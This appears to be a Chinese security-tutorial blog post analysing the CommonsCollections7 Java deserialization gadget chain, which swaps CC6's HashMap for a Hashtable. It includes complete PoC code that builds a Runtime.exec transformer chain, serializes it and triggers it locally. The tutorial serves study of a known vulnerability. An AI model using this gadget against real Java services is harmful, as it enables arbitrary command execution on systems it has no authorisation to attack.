环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

正文

CC7是CC6的一个变种,在 *CC7*(CommonsCollections7)攻击链中,使用HashTable替换了CC6中的HashMap结构,下边来介绍一下HashTable是怎么替代HashMap来完成反序列化操作的。

HashTable

Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,可以说HashTable是一种阉割版的HashMap。也可以这么理解:HashtableHashMap 的简化版,提供了类似的功能,但在一些方面做了限制和差异化设计。

站在应用的角度上来分析一下这两个类主要的区别,如果不理解的话可以去查一下对应的资料,这个并不影响Java安全的学习。

HashtableHashMap 的主要区别

  1. 线程安全性

    • Hashtable:是线程安全的。所有的方法都是同步的,因此多个线程可以同时访问 Hashtable,而不需要额外的同步控制。但同步会带来性能上的开销。
    • HashMap:不是线程安全的。如果多个线程同时访问 HashMap,并且至少一个线程修改了映射关系,必须外部加锁来保证线程安全。
  2. Null 键和值
    • Hashtable:不允许 null 键或 null 值。如果你尝试插入 null 键或值,会抛出 NullPointerException
    • HashMap:允许一个 null 键和多个 null 值。可以使用 null 作为键或者值来存储元素。
  3. 性能
    • Hashtable:由于方法是同步的,线程安全保证会导致在多线程环境下性能较差。
    • HashMap:性能更高,因为它不是线程安全的,在单线程或外部管理同步的环境下,HashMap 的性能优于 Hashtable
  4. 迭代器
    • Hashtable:使用的是 Enumerator,这种迭代器比较古老,并且不支持 remove() 方法。
    • HashMap:使用的是 Iterator,它是现代 Java 集合框架的一部分,支持 remove() 方法,可以更加灵活地操作元素。
  5. 子类
    • HashtableHashtable 是一个较旧的类,是 Dictionary 类的子类。Dictionary 在现代 Java 中已经不推荐使用,更多的是通过 Map 接口来实现。
    • HashMapHashMapMap 接口的实现,更加现代化,也是 Java 集合框架的核心组成部分。
  6. 底层实现
    • HashMap 在底层使用了 数组 + 链表 + 红黑树 的结构,JDK 1.8 开始,HashMap 引入了 红黑树 来优化冲突处理,这样做是为了提高查找效率,特别是在哈希冲突非常严重的情况下。红黑树提供了 O(log n) 的查找、插入和删除操作,而链表则是 O(n) 的。
    • Hashtable 它的底层结构主要由 数组 + 链表 组成,它在发生哈希冲突时的查找效率较低,最坏情况下是 O(n),而 HashMap 在严重冲突时会通过红黑树将查找效率降到 O(log n),这使得 HashMap 在处理大量数据时具有更好的性能。

分析可利用代码

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
// 重点看这个方法,就是这里触发了漏洞利用
reconstitutionPut(table, key, value);
}
......
} private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
// 这个调用了key的hashCode,如果key是构造好的TiedMapEntry攻击链,则会攻击链代码被执行
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

如果你对原理不太理解,可以参考CC5中的攻击链构造过程:https://www.cnblogs.com/erosion2020/p/18555069

POC编写

这里ysoserial的代码写的还是比较繁琐的,这里给出两种写法,其中cc7bySimplify的代码是简化版本的,其中cc7byYsoSerial代码是ysoserial中的代码去掉工具类的版本。

可以先分析cc7bySimplify中的代码,待到有一点感觉后再去分析cc7byYsoSerial,其实代码都是一样的。但是ysoserial写的代码稍微有点绕。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class CommonsCollections7 {
static String serialFileName = "commons-collections7.ser";
public static void main(String[] args) throws Exception {
// cc7bySimplify();
cc7byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc7bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC7新的触发点 START=============================
Hashtable hashtable = new Hashtable();
hashtable.put(entry, 1);
lazyMap.clear();
//TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
} public static void cc7byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{});
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
//TODO===========================CC7新的触发点 START=============================
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); //TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
}

调试

弹个cmd窗口

调用链总结(简化版 - cc7bySimplify)

  • ObjectInputStream.readObject()

    • HashTable.readObject()
    • HashTable.reconstitutionPut()
      • TiedMapEntry.hashCode()
      • TiedMapEntry.getValue()
        • LazyMap.get()

          • ChainedTransformer.transform()

            • ConstantTransformer.transform()
            • InvokerTransformer.transform()
              • Method.invoke()
              • Class.getMethod()
            • InvokerTransformer.transform()
              • Method.invoke()
              • Runtime.getRuntime()
            • InvokerTransformer.transform()
              • Method.invoke()
              • Runtime.exec()

CommonsCollections7(基于ysoserial)的更多相关文章

  1. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  2. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  3. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  4. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  5. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  6. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  7. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  8. ysoserial exploit/JRMPClient

    ysoserial exploit/JRMPClient 上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听.再使用exploit/JRMPClient模块发 ...

  9. ysoserial payloads/JRMPClient

    ysoserial payloads/JRMPClient 环境:JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上 ...

  10. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

随机推荐

  1. csdn 下载券恶心之处

    今天在csdn碰到一个恶心事,啥事呢?下载券.详细的说,就是人家码友把下载积分都设置成0了,让大家自行下载.结果,却不行,非得搞个下载券,得去做任务,给它的广告爹爹们点点任务才能获取下载券的code. ...

  2. 10 Python面向对象编程:类和对象以及和Java的对比

    本篇是 Python 系列教程第 10 篇,更多内容敬请访问我的 Python 合集 这里只介绍类和对象,self.属性.方法.访问控制.类继承.方法重写在后面的文章里介绍 在Python中,类和对象 ...

  3. HTML – W3Schools 学习笔记

    有用链接: HTML Attribute Reference (查看所有 Attributes) HTML Paragraphs Link to W3Schools <p> 里面 doub ...

  4. ChatGPT中Java相关问答(包括Java基础知识和一些面试题)

    分享一个自己学习Java时的记录ChatGPT中的对话:https://chatgpt.com/share/66e8f009-0fd0-8000-b458-8c5812d0b631 包括如下问题 Ho ...

  5. 递归获取zip中的文件

    1 //tempPath 系统临时文件夹 2 2 private List<String> getWsContentList(String tempPath) { 3 3 //wsFile ...

  6. Excel表格重复项特殊标注

    事件起因: 某不知名同事,需要将Excel表格中的重复选项特殊标注出来,故研究了一下   解决办法: 在Excel表格中,如果需要特殊标注重复项时候,可以参考以下办法 选项excel表格行/列 - 开 ...

  7. Autodesk 3d Max2020 初始化闪退

    事件起因:给同事安装完 Autodesk 3d Max2020 版本之后,软件初始化就闪退,后来在网上查了资料后解决. 解决办法如下:services.msc --> Autodesk 开头的服 ...

  8. Android Qcom USB Driver学习(八)

    因为要看usb charging的问题,所以需要补充一下battery的相关知识,算是入门吧 BAT SCH (1)VBATT_VSNS_P (2)BAT_THERM (3)I2C_SDA (4)I2 ...

  9. 数据库周刊57丨Oracle 2021年度安全警报;MySQL 8.0.23发布;MySQL索引优化导致的死锁案例;巨杉数据库跨引擎事务实践;MongoDB企业级能力解析;OceanBase OBCP 实验指导手册……

    摘要:墨天轮数据库周刊第57期发布啦,每周1次推送本周数据库相关热门资讯.精选文章.干货文档. 热门资讯 1.Oracle 2021年度安全警报: Critical Patch Update 发布8个 ...

  10. 过滤器 多少时间之前发布 dayjs relative'TrelativeTime

    import dayjs from "dayjs"; import relativveTime from "dayjs/plugin/relativeTime" ...